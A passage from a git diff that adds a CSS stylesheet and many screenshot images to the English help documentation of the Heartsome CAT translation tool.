20px; + font-weight: bold; + text-align: center; + color: #1B5874; +} + +/* +Section title +Level 2 +*/ +h2 { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} + +h2.title { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} +/* +Section title +Level 3 +*/ +h3 { + font-size: 16px; + font-weight: bold; + color: #1B5874; +} + +h3.title { + font-weight: bold; + font-size: 16px; + color: #1B5874; + +} + +/* +Section title +Level 4 +*/ +h4 { + font-size: 14px; + font-weight: bold; +} + +h4.title { + font-weight: bold; + font-size: 14px; + color: #1B5874; +} + +.sect2 { + margin-left: 20px; +} + +.sect3 { + margin-left: 30px; +} + +span.emphasis, .emphasis { + font-weight: bold; + line-height: 1.0; +} + +div.glosslist { + margin-left: 40px; +} + +div.glossary_item_title { + font-weight: bold; + font-size: 14px; + margin-top: 22px; + margin-bottom: -10px; +} + + + +div.note, div.warning { + background-image: url(../images/mark-icons-warn.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.tip { + background-image: url(../images/mark-icons-info.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.question { + background-image: url(../images/mark-icons-questions.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +ol.orderedlist, li.listitem { + margin-left: 0px; +} + +.interfacename { + font-weight: bold; + font-size: 14px; +} + +span.guilabel, span.type { + font-size: 14px; + font-weight: normal; +} diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-note-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-note-1.png new file mode 100644 index 0000000..df62100 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-note-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-note-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-note-2.png new file mode 100644 index 0000000..fc9ccf3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-note-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-terminology-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-terminology-1.png new file mode 100644 index 0000000..7dda777 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-terminology-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-terminology-3.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-terminology-3.png new file mode 100644 index 0000000..8d2eb59 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/add-terminology-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/apply-tm-match.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/apply-tm-match.png new file mode 100644 index 0000000..52989b6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/apply-tm-match.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/close.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/close.png new file mode 100644 index 0000000..f3bf481 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/close.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/concordance-search-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/concordance-search-1.png new file mode 100644 index 0000000..f21af4a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/concordance-search-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/concordance-search-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/concordance-search-2.png new file mode 100644 index 0000000..4abeb49 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/concordance-search-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-1-1.png new file mode 100644 index 0000000..fac9907 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-1-2.png new file mode 100644 index 0000000..390c919 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-2-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-2-1.png new file mode 100644 index 0000000..ed7834e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-2-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-2-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-2-2.png new file mode 100644 index 0000000..7a15c46 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/config-xml-converter-2-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-source-to-xliff-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-source-to-xliff-1.png new file mode 100644 index 0000000..d5c797e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-source-to-xliff-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-source-to-xliff-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-source-to-xliff-2.png new file mode 100644 index 0000000..1aba0c2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-source-to-xliff-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-1-1.png new file mode 100644 index 0000000..2b4733a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-1-2.png new file mode 100644 index 0000000..9468fcf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-2.png new file mode 100644 index 0000000..60d1af6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/convert-xliff-to-target-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-1-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-1-basic-info.png new file mode 100644 index 0000000..2686425 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-1-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-2-language-pair.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-2-language-pair.png new file mode 100644 index 0000000..4cbb028 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-2-language-pair.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-3-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-3-tm.png new file mode 100644 index 0000000..17a27ae Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-3-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-4-tb.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-4-tb.png new file mode 100644 index 0000000..1c47d24 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-4-tb.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-5-add-source-file.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-5-add-source-file.png new file mode 100644 index 0000000..4af144c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-project-5-add-source-file.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-1-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-1-basic-info.png new file mode 100644 index 0000000..e0ba474 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-1-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-2-import-tbx.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-2-import-tbx.png new file mode 100644 index 0000000..5bea337 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-2-import-tbx.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-3-import-option.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-3-import-option.png new file mode 100644 index 0000000..80f0efe Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tb-3-import-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-1-basic-info.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-1-basic-info.png new file mode 100644 index 0000000..c55185a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-1-basic-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-2-import-tmx.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-2-import-tmx.png new file mode 100644 index 0000000..0833e0f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-2-import-tmx.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-3-import-option.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-3-import-option.png new file mode 100644 index 0000000..cfbf0a3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/create-tm-3-import-option.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/drag-and-drop-file.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/drag-and-drop-file.png new file mode 100644 index 0000000..dae8c88 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/drag-and-drop-file.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/edit-note-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/edit-note-1.png new file mode 100644 index 0000000..a9b8149 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/edit-note-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/edit-note-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/edit-note-2.png new file mode 100644 index 0000000..6f7968f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/edit-note-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-distribution-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-distribution-1.png new file mode 100644 index 0000000..760b4b7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-distribution-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-distribution-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-distribution-2.png new file mode 100644 index 0000000..5802fb2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-distribution-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-whole-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-whole-1.png new file mode 100644 index 0000000..832f834 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-whole-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-whole-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-whole-2.png new file mode 100644 index 0000000..6ca6a21 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-project-whole-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-1-1.png new file mode 100644 index 0000000..018c96f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-1-2.png new file mode 100644 index 0000000..7f0bf8e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-2.png new file mode 100644 index 0000000..23a26dc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-3.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-3.png new file mode 100644 index 0000000..37434a3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tbx-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-1-1.png new file mode 100644 index 0000000..60372ce Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-1-2.png new file mode 100644 index 0000000..c97b927 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-2-select-tm.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-2-select-tm.png new file mode 100644 index 0000000..530ff5d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-2-select-tm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-3-lang.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-3-lang.png new file mode 100644 index 0000000..850c90f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-3-lang.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-4-filter-rule.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-4-filter-rule.png new file mode 100644 index 0000000..bd9c30e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-tm-to-tmx-4-filter-rule.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-xliff-to-rtf-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-xliff-to-rtf-1.png new file mode 100644 index 0000000..3a28344 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-xliff-to-rtf-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-xliff-to-rtf-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-xliff-to-rtf-2.png new file mode 100644 index 0000000..b10abc3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/export-xliff-to-rtf-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-project-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-project-1.png new file mode 100644 index 0000000..391ccae Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-project-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-project-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-project-2.png new file mode 100644 index 0000000..4aa1cdd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-project-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-rtf-to-xliff-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-rtf-to-xliff-1.png new file mode 100644 index 0000000..fcf2f31 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-rtf-to-xliff-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-rtf-to-xliff-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-rtf-to-xliff-2.png new file mode 100644 index 0000000..2c0dac9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/import-rtf-to-xliff-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/insert-tag.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/insert-tag.png new file mode 100644 index 0000000..07380a3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/insert-tag.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/insert-term.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/insert-term.png new file mode 100644 index 0000000..7a58d69 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/insert-term.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-activate.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-activate.png new file mode 100644 index 0000000..d041f3c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-activate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-activation-type.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-activation-type.png new file mode 100644 index 0000000..9ce1347 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-activation-type.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-deactivate-confirm.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-deactivate-confirm.png new file mode 100644 index 0000000..6d8d29e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-deactivate-confirm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-deactivate.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-deactivate.png new file mode 100644 index 0000000..437df35 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-deactivate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-enter-sn.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-enter-sn.png new file mode 100644 index 0000000..66c9166 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-enter-sn.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-enter-sn.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-enter-sn.png new file mode 100644 index 0000000..d079755 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-enter-sn.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-finish.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-finish.png new file mode 100644 index 0000000..8e598a5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-finish.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-obtain-code.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-obtain-code.png new file mode 100644 index 0000000..a4d3294 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-offline-activate-obtain-code.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-purchase.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-purchase.png new file mode 100644 index 0000000..f2ec8c5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-purchase.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-reactivate.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-reactivate.png new file mode 100644 index 0000000..9c664d9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/license-reactivate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-1.png new file mode 100644 index 0000000..a215770 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-2.png new file mode 100644 index 0000000..5ac6adb Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-3.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-3.png new file mode 100644 index 0000000..1c12687 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/lock-repetition-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/main-interface.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/main-interface.png new file mode 100644 index 0000000..8a1ea42 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/main-interface.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/main-menu.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/main-menu.png new file mode 100644 index 0000000..b757d64 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/main-menu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-error.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-error.png new file mode 100644 index 0000000..1e10c50 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-error.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-info.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-info.png new file mode 100644 index 0000000..ffa46af Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-question.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-question.png new file mode 100644 index 0000000..cdd1969 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-question.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-warn.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-warn.png new file mode 100644 index 0000000..309bd44 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mark-icons-warn.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-segments-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-segments-1.png new file mode 100644 index 0000000..51c70ad Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-segments-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-segments-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-segments-2.png new file mode 100644 index 0000000..05f47d8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-segments-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-1-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-1-1.png new file mode 100644 index 0000000..ac64163 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-1-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-1-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-1-2.png new file mode 100644 index 0000000..f87d847 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-1-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-2.png new file mode 100644 index 0000000..deecff0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merge-xliff-file-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/merging-open-1.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merging-open-1.png new file mode 100644 index 0000000..e83b675 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merging-open-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/merging-open-2.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merging-open-2.png new file mode 100644 index 0000000..ec543b9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/merging-open-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/minimum_maximum.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/minimum_maximum.png new file mode 100644 index 0000000..77644a6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/minimum_maximum.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/mt-bing-translator.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mt-bing-translator.png new file mode 100644 index 0000000..78368bf Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mt-bing-translator.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/mt-google-translate.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mt-google-translate.png new file mode 100644 index 0000000..df3465f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/mt-google-translate.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-context-menu.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-context-menu.png new file mode 100644 index 0000000..cd37e04 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-context-menu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-main-menu.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-main-menu.png new file mode 100644 index 0000000..60c4cbd Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-main-menu.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-toolbar.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-toolbar.png new file mode 100644 index 0000000..79d490c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/new-project-from-toolbar.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-color.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-color.png new file mode 100644 index 0000000..564c4be Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-color.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-excel.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-excel.png new file mode 100644 index 0000000..7301946 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-excel.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-framemaker.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-framemaker.png new file mode 100644 index 0000000..e2763d1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-framemaker.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-languages.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-languages.png new file mode 100644 index 0000000..dddf8a6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-languages.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections-bypass.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections-bypass.png new file mode 100644 index 0000000..8ddf638 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections-bypass.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections-proxy.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections-proxy.png new file mode 100644 index 0000000..5c02b88 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections-proxy.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections.png new file mode 100644 index 0000000..b4d04f8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-network-connections.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-oo.png b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-oo.png new file mode 100644 index 0000000..7cad3c4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/en/images/options-oo.png differ diff --git 